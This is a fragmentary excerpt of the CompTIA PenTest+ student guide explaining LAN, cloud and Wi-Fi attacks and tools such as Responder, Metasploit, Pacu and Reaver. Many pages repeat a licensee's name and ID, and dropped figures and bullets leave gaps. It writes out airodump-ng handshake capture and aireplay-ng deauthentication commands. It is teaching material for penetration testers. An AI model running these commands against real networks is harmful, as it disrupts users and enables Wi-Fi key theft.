the malicious actor can gather all data and credentials.
The team has several tools that can be used to launch an on-path attack, including
ettercap, Bettercap, Netcat, and Nmap. However, in most cases, an on-path attack
requires some type of spoofing. Let’s talk about types of spoofing techniques next.
• MAC address spoofing will modify the MAC address on the malicious actor’s NIC
card so that it matches the MAC address on the victim’s machine. Once done, the
traffic will be directed to both the victim and the malicious actor.
By using any of these attacks, when a device needs to deliver a message to the
victim, it will instead send the message to the malicious actor.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
204 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Additionally, there are other attacks designed to spoof or misdirect the victim.
Link-Local Multicast Name Resolution (LLMNR)/NetBIOS-Name Service (NBT-NS)
poisoning is another attack that a malicious actor can use on a LAN. Let’s take
a look.
Once a request is intercepted, Responder will return the attacker’s host IP as the
name record, causing the querying host to establish a session with the attacker.
For the attack to work, the victim system must either be tricked into querying a
nonexistent name or prevented from using the legitimate DNS service.
Responder can also be used in analysis mode to monitor name resolution traffic
without responding. This can help an attacker map out names used on the network and
select a target.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 205
2. Then when logging into the target operating system or application, you
provide the username and the hash of the password, rather than the
password itself.
Once accepted, the malicious actor will be able to access the operating system or
application.
Another attack that uses a hash is called Kerberoasting.
Kerberoasting
One method of obtaining a hash is by using Kerberoasting. In this attack, the
malicious actor will do the following:
1. Get user Service Principal Names (SPN), which will identify all accounts that
are candidates for Kerberoasting.
2. From the list of SPNs, get the service tickets of an interesting target, such as a
server.
3. Dump out the service ticket, which is encrypted with the NTLM hash of the
requested service account.
Once you obtain the password, you can then continue to take control of the
system. Kerberoasting is a significant attack as many services have admin privileges,
and their passwords are seldom changed.
Many attacks require multiple steps to achieve the end goal. Next, let’s see why
exploit chaining may be required for a successful attack.
Chaining Exploits
Exploit chaining is the act of using multiple exploits to form a larger attack. Success
of the attack will depend on all exploits doing their part. Using multiple forms of
attacks in a distributed nature makes them complex and difficult to defend against.
Chained exploits can either run consecutively, with each depending on the previous
exploit to complete, or they can run in parallel, where each part would have to be in
place and complete for the final attack or payload to succeed.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
206 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• A module that runs a SQL injection, authentication bypass, file upload, command
injection, and privilege escalation to finally give the attacker a root level shell.
As illustrated, there are many possible attacks to the Local Area Network, using
many different tools and techniques.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 207
Review Activity:
LAN Protocols
5
1. VLAN hopping is the act of illegally moving from one VLAN to another.
Describe one way a malicious actor can launch this attack.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
208 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 9C
Compare Exploit Tools
4
When it’s time to launch an exploit against the target, the team will have choices in
what tools are required for an effective attack. In this segment we’ll take a look at
Metasploit, a platform for launching modularized attacks against known software
vulnerabilities. In addition, we’ll also evaluate other exploit resources, such as
Impacket tools, Exploit database (DB), and SearchSploit to help the team launch a
more focused attack on the target.
Let’s start with an overview of Metasploit.
Along with the Rapid7 projects, there are two popular GUI-based spin-offs:
• Armitage—an intuitive GUI for Metasploit framework
Metasploit’s features are organized into modules. There are six basic types as
outlined in the following table:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 209
Module Function
Exploits Attack software that delivers a payload
Payloads Code that runs remotely
Post Additional tasks you can perform on a compromised host
Auxiliary Scanners, sniffers, fuzzers, spoofers, and other non-exploit
features
Encoders Ensures that payloads make it to their destination intact
and undetected
Nops Keeps payload sizes consistent across exploit attempts
Each type has many modules inside, grouped by sub-type or platform. When using
Metasploit, you specify a particular module by its path, as shown in the graphic
below:
Launch Metasploit Framework (MSF) by either selecting the MSF launcher on the
Kali desktop toolbar or by entering msfconsole in a regular terminal window.
Once you have specified the module, you usually have to set options. Some are
required and some are optional. Examples include:
• RHOSTS—(remote) target names or addresses
• RPORT—target port
If you are using an exploit, you will also need to specify the payload. The payload
is a program that runs on the target once it is compromised. The most popular
payload is Meterpreter, which is an interactive, menu-based list of commands you
can run on the target.
Because of the many choices the team has when working with Metasploit, you may
need to search for a specific exploit.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
210 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Additionally, you can specify -o <filename> to save the output in CSV format.
For example, the team may want to launch a packet storm (also known as a
broadcast storm or network storm), which is a sudden flood of traffic. A packet
storm could be used in one of the following scenarios:
• To conduct stress testing, which monitors the ability of a network to be able to
provide availability under extreme traffic conditions.
• To launch a denial of service (DoS) attack that will consume all available
bandwidth and prevent the normal flow of traffic.
If launching a packet storm for a DoS, the team might want to try a Character Generator
Protocol (CharGEN) attack. CharGEN is a legacy protocol that was developed as a
testing tool. However, the protocol can be used as part of a DoS attack, as when used,
CharGEN will output a string of characters, as shown in the screenshot:
To see if Metasploit has any modules related to CharGEN, you can search using the
command: search chargen, which will output the following:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 211
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
212 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Using a scanner
Metasploit is a powerful tool that is used for a wide range of exploits. However,
there are several others that have a specific purpose when PenTesting the
LAN. Let’s explore some of those next.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 213
• Responder is a command line tool in Kali Linux used to poison NetBIOS, LLMNR,
and MDNS name resolution requests.
• mitm6 is an IPv6 DNS hijacking tool that works by first replying to DHCPv6
messages that set the malicious actor as DNS server. It will then reply to DNS
queries with bogus IP addresses that redirect the victim to another malicious
host.
In addition to the tools used to launch attacks, the PenTest team will need to be
aware of all possible exploits. While there are many repositories available, the team
can use the Exploit Database (Exploit DB) which provides a complete collection of
public exploits and vulnerable software in a searchable database. To search Exploit
DB, the team can use SearchSploit, a tool included in the exploitdb package on Kali
Linux.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
214 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Exploit Tools
5
2. When using Metasploit, there may be times you will need to have
multiple sessions.
What is the command to list all of the sessions you currently have
running?
3. There are many tools the PenTest team can use when working on a LAN.
Describe the functions of the following: Impacket tools, Responder, and
mitm6.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 215
Topic 9D
Discover Cloud Vulnerabilities
4
Cloud threats exist just as they do on a physical LAN. As a result, the team may be
tasked in assessing the cloud for vulnerabilities. In this section, we’ll take a look at
recognizing issues to address when dealing with storage and virtualized containers
while running applications. In addition, because the most significant cloud threats
lie in the improper configuration of identity and access management systems, we’ll
see why it’s essential to test for this vulnerability.
Let’s start with learning the importance of properly configuring cloud assets.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
216 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Running Applications
When dealing with the cloud, applications can be deployed either in a virtualized
or containerized environment. While both are the same concept, each has subtle
differences along for the need to test for vulnerabilities.
Virtual machines (VM) are the backbone for virtualized computing environments
and are managed via a hypervisor. Part of testing should include regular audits
of VMs to ensure they are kept within the scope of administrative oversight. Be
particularly alert to the risk of VM sprawl and the creation of dormant VMs in the
cloud.
A dormant VM is one that is created and configured for a particular purpose and then
shut down or even left running without being properly decommissioned.
Containers are an efficient and more agile way of handling virtualization. Each
image contains everything needed to run a single application or microservice.
However, a container image can have several vulnerabilities that include:
• Embedded malware
• Outdated software
• Configuration defects
Prior to deploying the container, the network administrator should test and mitigate
any vulnerabilities and then, once trusted, preserve the image.
Within the cloud federation, there is storage that can also be a target for malicious
actors.
• Incorrect origin settings—Data in cloud storage can be used to serve static web
content, such as HTML pages, images, and videos. In this scenario, the content
is published from the container to a content delivery network (CDN). The CDN
caches the content to edge locations throughout its network to provide faster
access to clients located in different geographic locations. When a site is built
this way, it must usually use objects from multiple domains, which is normally
blocked by client web browsers. A cross origin resource sharing (CORS) policy
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 217
instructs the browser to treat requests from nominated domains as safe. Weakly
configured CORS policies expose the site to vulnerabilities such as XSS.
The above are examples of consumer side configuration risks. Storage is also
potentially vulnerable to insider threat or compromise of the Cloud Service Provider
(CSP) systems. Compromises could include data breach (confidentiality), and also
data destruction (availability), or integrity issues.
The administrator should understand the design of a CSP’s storage
permissions. Policies should be created to guide the application of permissions
settings so that storage containers and objects are not exposed to unnecessary risk.
Another potential source of vulnerabilities is Identity and access management. Let’s
see what’s involved in this important concept.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
218 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
issued the certificate is paramount. One unique issue with applications is how
to determine which other entities are allowed to run certain apps. Services like
Windows AppLocker enforce identity policies that either allow or disallow a client
from running a specific app based on the app’s identity and the client’s permissions.
An IAM system usually contains technical components like directory services and
repositories, access management tools, and systems that audit and report on ID
management capabilities. Typical IAM tasks might include:
• Auditing account activity
• Administrators are often granted too many privileges or use accounts with
“super” privileges for routine log-ons.
Therefore, it’s important to ensure that privileged accounts are tightly audited.
Another vulnerable account is a shared account, which can exist when the password
or another authentication credential is shared with more than one person. A shared
account can be used in a small office home office (SOHO) environment, as many SOHO
networking devices do not allow you to create multiple accounts. As a result, a single
“Admin” account is used to manage the device. A shared account should be avoided, as
it breaks the principle of nonrepudiation and makes an accurate audit trail difficult to
establish.
These issues can be largely addressed by delivering training and education targeted
to specific user groups. In addition, it’s always good practice to provide strong
access control methods by using the principle of least privilege and routinely
monitor and test networks.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 219
Review Activity:
Cloud Vulnerabilities
5
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
220 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 9E
Explore Cloud-Based Attacks
4
With the pervasive nature of the cloud, it’s important to recognize the threats to the
infrastructure. In this section, we’ll outline some of the cloud-based attacks that can
occur, such as credential harvesting, resource exhaustion, and malware injection
attacks that can lead to data compromise or exfiltration. We’ll also take a look at
automated vulnerability tools such as ScoutSuite and Pacu that the team can use
during the PenTesting exercise.
Let’s start with an overview of some of the attacks on cloud resources.
In some cases, the malicious actors reap greater rewards by gathering credentials,
as we’ll see next.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 221
Harvesting Credentials
Credential harvesting is an attack specifically designed to steal usernames and
passwords. Harvesting can be done in a variety of ways, that include:
• An email phishing attack armed with links to bogus websites or malicious
attachments.
In some cases, the malicious actor will use the credentials to take over an account
to use in another attack. For example, a malicious actor might take over an email
account to send out emails, IMs, or other forms of communication to mount further
phishing attacks.
Once the malicious actor has harvested the credentials, they may choose to sell
them on the dark web or use them to escalate privilege. Let’s see what can happen
during privilege escalation.
Escalating Privilege
Privilege escalation is one of the primary objectives in any exploit. It allows the
attacker to gain control, access/change sensitive files, and open a backdoor. During
a PenTest, you will rarely get administrative access to a target system on your
first attempt. In most cases, you’ll need to find a way to elevate your access to
administrator and then possibly to SYSTEM level access.
In addition to kernel-specific exploits, there are other types of attacks that
can elevate privilege. The attacks can take advantage of services, drivers, and
applications running in SYSTEM or administrator privilege. Similar to kernel exploits,
most attacks are run locally, after you have gained access to the target. The
following table highlights a few examples:
Vulnerability/Technique Description
Security Account Manager (SAM) Either dump the contents of the SAM file
file to get the hashed passwords or copy the
file using Volume Shadow Service (VSS) and
then crack the passwords offline.
Local Windows User Account Bypass local UAC. One way is to use process
Control (UAC) bypass injection to leverage a trusted publisher
certificate
Weak process permissions Find processes with weak controls and then
see if you can inject malicious code into
those processes.
Shared folders Search for sensitive information in shared
folders, as it is common for them to have
few or no restrictions.
Dynamic Link Libraries (DLL) Elevate privileges by exploiting weak folder
hijacking permissions, unquoted service paths, or
applications that run from network shares.
Additionally, you can legitimate DLLs with
malicious ones.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
222 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Vulnerability/Technique Description
Writable services Edit the startup parameters of a service,
including its executable path and account.
You could also use unquoted service paths
to inject a malicious app that the service will
run run during startup.
Missing patches and Search for missing patches or common
misconfigurations misconfigurations that can lead to privilege
escalation.
To search Metasploit for local exploits that escalate privilege at the msf console,
enter the following: search exploit/windows/local -S
Escalation.
Next, let’s see how a denial-of-service attack can prevent a target from performing
its normal duties on the network.
Denying Service
A DoS attack can target a protocol, device, OS, or service. The results of a DoS attack
will depend on the affected system. For example, a DoS attack against a server
will consume all resources, including CPU, memory, disk space, and allowed client
connections and can lock out legitimate users.
A related DoS attack is resource exhaustion, where the focus is on consuming
system resources and can lead to a system crash or failure. Resource exhaustion
uses various techniques such as:
• Amplification or volumetric attacks focus on saturating the bandwidth of the
network resource.
• A denial-of-sleep attack will drain a device’s battery, which in turn can render the
device inactive.
• A slow HTTP attack sends fragmented requests and can stress the server,
as compiling the fragmented requests can lead to depletion of processing
resources.
For network-based DoS attacks, a single attacker is unlikely to have much (if any)
impact. The most effective exploits are distributed denial-of-service (DDoS) attacks,
in which thousands or hundreds of thousands of machines, typically in a botnet, are
coordinated to attack a single target.
The following table summarizes some examples of DoS attack types along with
some of the tools you can use to launch the attack.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 223
In most cases, to launch a DoS attack, you would enter your parameters and the
tool will then begin the attack. For example, the following shows the command and
output from a web server SYN flood using the hping3 tool:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
224 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
You can search for Metasploit DoS modules at the msf console. For example, to search
for DoS attacks that involve DNS, enter search dns dos
Because of the proliferation of cloud services, it may be in the scope of the PenTest
to assess cloud resources. In the next section, let’s take a look at tools used to audit
the cloud.
Discovering ScoutSuite
ScoutSuite is an open-source tool written in Python that can be used to audit
instances and policies created on multicloud platforms, such as AWS, Microsoft
Azure, and Google Cloud. ScoutSuite collects data from the cloud using API calls. It
then compiles a report of all the objects discovered, such as VM instances, storage
containers, IAM accounts, data, and firewall ACLs.
The team can configure rulesets to categorize each object with a severity level, if a
policy is violated. For example, the following rule will flag unauthenticated access to
a Simple Storage Service (S3) bucket with a severity level of danger:
“allow-unauthenticated-access-to-S3-bucket”:[
{
"enabled": true,
"level": "danger"
}]
ScoutSuite can work with a variety of platforms. However, some tools are designed
to only work with AWS. One such tool is Prowler.
Using Prowler
Prowler is an audit tool for use with Amazon Web Services only. It can be used
to evaluate cloud infrastructure against the Center for Internet Security (CIS)
benchmarks for AWS, plus additional GDRP and HIPAA compliance checks.
If an attacker or PenTest team has the credentials of one user within a cloud
account, they can attempt to gather information about other accounts and services
that have been configured. In addition, they can use various attacks to widen and
deepen their access. As a result, an authenticated PenTest is a more powerful
method to assess the security of cloud resources.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 225
Pacu is a tool that can perform an authenticated PenTest. Let’s explore how this
type of assessment can help the PenTest team.
Using Pacu to enumerate user accounts (Copyright ©2018 Rhino Security Labs, Inc.)
Pacu focuses on the post-compromise phase, so the team can drill down into the
system to escalate privileges, launch additional attacks, or install a backdoor.
Prior to scanning hosts and services in a cloud, the team should consult the CSP's
acceptable use policy.
In some cases, an organization must enforce a variety of policies. Let’s see how
Cloud Custodian can help an organization have a well-managed cloud.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
226 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Cloud-Based Attacks
5
1. List a few attacks that can occur in the cloud computing infrastructure.
3. Today, there are a number of tools available for the cloud infrastructure
to perform automated vulnerability scanning and PenTesting. List a few
tools used to PenTest the cloud infrastructure.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 227
Lesson 9
Summary
4
In this lesson, we learned many of the ways that we can enumerate Windows and
Linux hosts, network services, and Active Directory objects. We then saw how the
team can launch a variety of different attacks on LAN protocols. We covered VLAN
hopping, ARP poisoning, MAC spoofing, and Kerberoasting, along with Denial-of-
Service attacks. We also discussed how chaining exploits can make an attack more
difficult to defend against.
We then compared different exploit tools available such as Metasploit, Responder,
and SearchSploit, along with a discussion on their capabilities. By now you can
comprehend the many cloud vulnerabilities that must be assessed, along with a
summary of different attacks that can lead to data compromise or data exfiltration.
We concluded with an overview of some of the tools that can be used to assess
compliance such as Cloud Custodian ScoutSuite, Prowler, and Pacu.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 10
Testing Wireless Networks
1
LESSON INTRODUCTION
In addition to examining traffic on the wired Local Area Network (LAN), the team
will also need to assess the security posture of the wireless LAN (WLAN). Wireless
networks can fall victim to several different attacks. Attacks include relay, spoofing,
and deauthentication attacks. In order to achieve this goal, the team will need to
conduct a variety of tests to see if an attack using a rogue access point and other
methods will be successful. To aid in this process, the team can use tools specific to
wireless attacks that include Kismet, EAPhammer, and Spooftooph.
Lesson Objectives
In this lesson, you will:
• Identify attacks on wireless networks that include spoofing, deauthentication,
and jamming
• Paraphrase the function of wireless tools such as Reaver, Fern, and Aircrack Ng
suite.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
230 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 10A
Discover Wireless Attacks
2
Today nearly 100% of businesses use Wi-Fi. Wireless technology has advanced over
time and is an optimal option as it provides mobility and convenience. As a result,
in most cases the team will need to evaluate the target organization's wireless
networking infrastructure as part of the PenTest. In this section, we’ll review some
of the Wi-Fi attacks that are possible such as eavesdropping, jamming, spoofing,
and using an evil twin to deceive a client.
Let’s start with a review of the basics of securing a Wi-Fi connection.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 231
The IEEE working group for wireless local area networks (WLAN) is identified as 802.11.
After each new wireless protocol is ratified, you’ll see it indicated by 802.11x, where x
is the version. Periodically, IEEE will combine and rename a standard. For example, in
2007, the group combined multiple 802.11 standards that included a, b, d, e, g, h, i, and
j to become IEEE 802.11-2007.
Over the years, the predominant encryption standard, Wi-Fi Protected Access (WPA),
has evolved to ensure improved protocols to secure wireless communication.
• WPA features the Temporal Key Integrity Protocol (TKIP). TKIP dynamically
generates a new 128-bit key for each packet. In addition, WPA includes a
Message Integrity Check (MIC), which provides a stronger method (than a CRC) to
ensure data integrity.
• WPA2 is an improvement of WPA and replaced RC4 and TKIP with Counter Mode
CBC-MAC Protocol (CCMP) using AES.
Of all the standards, WPA3 provides the most robust security and should be used if
available.
A Wi-Fi signal is transmitted via a radio wave that can be sniffed, intercepted, and or
jammed. Let’s explore this concept next.
Eavesdropping Communications
A wireless network interface will receive transmissions when activated, and by
default will pick up on any transmissions that are bound for the interface's MAC
address. When sniffing wireless transmissions, the interface should be placed in
promiscuous mode, so that the device captures every transmitted frame. Therefore,
you'll be able to capture all wireless traffic within range.
By sniffing traffic, you may be able to eavesdrop on communications between a
client and an AP. This is more likely possible in public, open Wi-Fi networks that
don't incorporate encryption. A network that uses encryption will make your
eavesdropping more difficult, as the traffic you'll receive on the interface will be
indecipherable without the proper authentication and decryption key. Nevertheless,
even in encrypted modes, certain information is transmitted in cleartext, such as a
client's MAC address, which you can use if you are launching a spoofing attack.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
232 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Once you lock on to the wireless traffic, you can disrupt the signal by
deauthenticating a client.
Deauthenticating Clients
A deauthentication (deauth) attack will boot the victim(s) from an AP and force them
to reauthenticate. A deauth is used so the victim generates the required traffic
needed for the malicious actor to capture the handshake. The attack is possible
because the 802.11 Wi-Fi protocol includes a management frame that a client can
use to announce that it wishes to terminate a connection with an access point. You
can take advantage of this provision by spoofing a victim's MAC address and
sending the deauthentication frame to the access point, which then prompts the
access point to terminate the connection.
Even in environments that use WPA/WPA2, you can initiate a deauthentication
(deauth) attack to capture the four-way TKIP handshake in a Wi-Fi connection.
The disconnected client must initiate the four-way handshake again in order
to reconnect to the AP. You can then capture the pre-shared key (PSK) that is
exchanged in this handshake and then attempt to crack the key.
Other than creating a simple denial of service, deauthentication attacks are used
during evil twin, replay, and cracking attacks. They are also used by businesses
such as hotels to force customers to stop using personal hotspots and start using
the hotel's fee-based Wi-Fi services. Ultimately, a deauthentication attack can be a
powerful technique for accomplishing several different malicious objectives.
There are several tools that can perform deauthentication.
You can use airodump-ng to sniff for the handshake:
airodump-ng -c <channel> --bssid <MAC address> -w
capture wlan0
You can either deauthenticate a single client or all clients on a WAP. The following is
an example of using aireplay-ng to deauthenticate all clients on a WAP:
aireplay-ng -0 1 -a <MAC address> wlan0
The -0 1 flag specifies that the tool will send one deauthentication message.
Using the -a flag, you specify the MAC address of the targeted access point. You
can also use the -c flag with the MAC address of a target client in case you only
want to knock a single client off the WAP instead of every client.
In addition to software, a hardware tool like Wi-Fi Pineapple can launch a
deauthentication attack.
In some cases, a malicious actor might choose to jam a Wi-Fi signal. Let’s see how
this is possible.
Jamming a Signal
Jamming is an attack that disrupts a Wi-Fi signal by broadcasting on the same
frequency as the target WAP, and any signals that a wireless transceiver is
attempting to send or receive will be blocked. Physical jamming devices can send
disruptive signals to several wireless devices in a targeted area. By jamming a Wi-Fi
signal, a malicious actor can trigger a denial of service (DoS) and disrupt the flow of
communications.
Jamming devices are illegal in many jurisdictions, including anywhere in the United
States. You should consider the legality of radio jamming in your area before
performing it as part of a test.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 233
To launch a jamming attack, a malicious actor can either use a physical device or
software jammer. For example, wifi jammer is a Python script that can jam (or
disrupt) the signals of all WAPs in an area. You can also use wifi jammer to perform
more targeted attacks to disable only select Wi-Fi networks in an area, or even
specific clients.
In order to gain access to the communication stream in an encrypted conversation,
you will have to obtain the password. Next, let’s investigate ways to obtain a
password or PIN.
Attacking WPA
Most Wi-Fi networks today use WPA/WPA2 to provide a more robust method
of preventing an attack. As a result, cracking a WPA/WPA2 password can be
challenging. If you have managed to grab the password hashes during the
handshake, you can use dictionary-based and brute force methods to try to crack
the password offline.
The strength of encryption used in WPA/WPA2 makes an attack difficult; however, it
can be achieved in the following circumstances:
• When using WPA, the use of rotating keys and sequence numbers can make a
cracking attempt more difficult. However, WPA is still susceptible to dictionary
attacks if a weak passkey has been chosen.
Another attack takes advantage of weaknesses in the Wi-Fi Protected Setup (WPS)
process in the form of a WPS PIN attack.
• Select and connect the appropriate network on the laptop or other mobile
device.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
234 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
It’s important to note that this method only works on Windows, Blackberry, and Android
OS. Other systems, such as MacOS, iPhone, and some Linux distros, such as Ubuntu and
Mint, don’t support this operation.
In addition to a physical attack, a malicious actor can gain access to the network
by determining the PIN number of the WPS device, using an online or offline brute
force attack.
Any device that supports WPS will have an automatically generated eight-digit code.
A malicious actor can launch an online attack using a tool called Reaver, which is
included in Kali Linux. Reaver can brute force a PIN by doing the following:
• Search and identify access points that are using WPS
• Once identified, Reaver will begin sending numerous PINS to the device, which
you will see in the terminal: Trying pin 12345670, Trying pin
00056748 …
• If the basic attack isn’t successful, Reaver has advanced options, such as “Don’t
send NACK packets when detecting errors,” or “Delay 15 seconds between PIN
attempts”.
Keep in mind when launching a WPS attack using Reaver, this can take quite a
while. In addition, an online attack might also be challenging, as many WAPs have
a lockout function that activates after a certain number of failures. However, with
Reaver you can slow the probes or pause and resume the attack later.
Many manufacturers have built-in defense mechanisms to defend against this type
of attack. If that is the case, a malicious actor might choose to launch an offline
attack called Pixie Dust, using a tool called Bully. Bully takes advantage of the way
some routers generate random numbers. If a router uses a NULL value (00000000)
or a timestamp of the current time value, you will most likely be able to launch an
offline attack.
Next, let’s investigate attacks that use a man in the middle approach to gain access
to sensitive information.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 235
802.1X Authentication
The process requires the use of certificates to create a secure tunnel. However,
provisioning certificates to each wireless device during the encryption process is a
considerable management challenge. In order to streamline the process, protocols
such as Protected Extensible Authentication Protocol (PEAP) are designed to
provide secure tunneling using server-side certificates only. The supplicant does not
require a certificate.
When using PEAP, once the server has authenticated to the supplicant, user
authentication can then take place through a secure tunnel to protect against
sniffing, password-guessing/dictionary, and on-path attacks.
The user authentication method, also referred to as the “inner” method, can use
either MS-CHAPv2 or EAP-GTC. The Generic Token Card (GTC) method transfers a
token for authentication against a network directory or using a one-time password
mechanism.
To provide a secure connection there are two requirements:
• The inner, protected authentication must be secure so a malicious actor cannot
sniff the password.
If the client doesn’t validate the server’s certificate, a malicious actor can put up
a rogue AP and pass a bogus certificate to the client. At that point, if the client
approves or overrides the invalid server certificate, this will allow the malicious actor
to steal the client's credentials and use them to successfully authenticate to the real
server.
In an on-path attack, a malicious actor sits in the middle of the stream and
intercepts the genuine certificate. The malicious actor then passes a bogus
certificate to the client as shown:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
236 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Instead of receiving the expected certificate from the web server, the client will
receive a bogus certificate. This is possible because an app on the client side won’t
always check the certificate, especially on a mobile device.
In some cases, there might be a notification from the operating system that the
certificate is not recognized. This can be followed by a prompt that asks if the client
would like to accept the certificate. If the user accepts, the spoofed certificate will
be placed in the certificate store and be accepted as valid, and the transaction will
continue in a normal fashion. The malicious actor will then be able to see the details
of the transaction.
Another Wi-Fi attack attempts to deceive clients into connecting a rogue access
point. Let’s explore this attack method.
• Place the evil twin close to the victim so that its signal strength is high, and it is
put at the top of the victim's list of APs.
To get the victim to join the evil twin, a malicious actor can set up a convincing
captive portal with open authentication. Once the victim joins the evil twin,
the malicious actor can take control of the communication stream as they are
essentially acting as a man in the middle.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 237
Review Activity:
Wireless Attacks
3
2. When launching an attack on Wi-Fi, many times a malicious actor will use
a deauth attack. Describe a deauth attack and explain why it is used.
3. An evil twin is a rogue access point that attempts to trick users into
believing that it is a legitimate AP, such as an organization's official Wi-Fi
network. Describe what is needed to create an evil twin.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
238 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 10B
Explore Wireless Tools
4
While assessing the security posture of the WLAN, the team can use a variety of
wireless assessment tools. The tools can be used to achieve the following:
• Detect the presence of wireless networks.
In this section, we’ll evaluate the different tools available such as Spooftooph,
Kismet, and EAPhammer. While many are similar in nature, some provide advanced
features to launch a more targeted attack.
2. Once identified, grade and sort the networks by signal strength, from
strongest to weakest.
During this process, the team will need to select an antenna based on the specific
needs. In addition, the capture device will need a wireless card that is able to
support monitor mode and packet injection. Prior to testing, the team will also need
to make sure that the capture device is equipped with the required tools and any
companion software is installed as well.
Most wireless assessment tools can crack Wired Equivalent Privacy (WEP), WPA, and
WPS. However, in most cases you won’t be able to see any traffic using WEP, as it
has been deprecated, and only about 2% of the Wi-Fi networks worldwide are using
the protocol.
In this section we’ll cover some of the tools and their capabilities used during the
PenTest WLAN assessment. Let’s start with an overview of Aircrack-ng.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 239
• Airodump-ng—provides the ability to capture 802.11 frames and then use the
output to identify the Basic Service Set ID (MAC address) of the access point
along with the MAC address of a victim client device.
Along with the normal packet capture and injection capabilities built into most
wireless security tools, the Aircrack-ng suite can be used in several other attacks.
Attacks include an ARP request replay, interactive packet replay and fake
authentication attack. In addition, it can be used to configure a fake access point
and to crack a WPA pre-shared key (PSK).
One common attack is to attempt to capture the handshake and extract the
authentication key. Once obtained, the next step is to try to retrieve the plaintext
password, using either a dictionary or brute force attack. It’s important to note that
WPA/WPA2 passphrases can be recovered using brute force password cracking;
however, this may not be successful, especially if the victim has used a strong
passphrase.
Another popular wireless testing tool is Kismet—a wireless sniffer, network
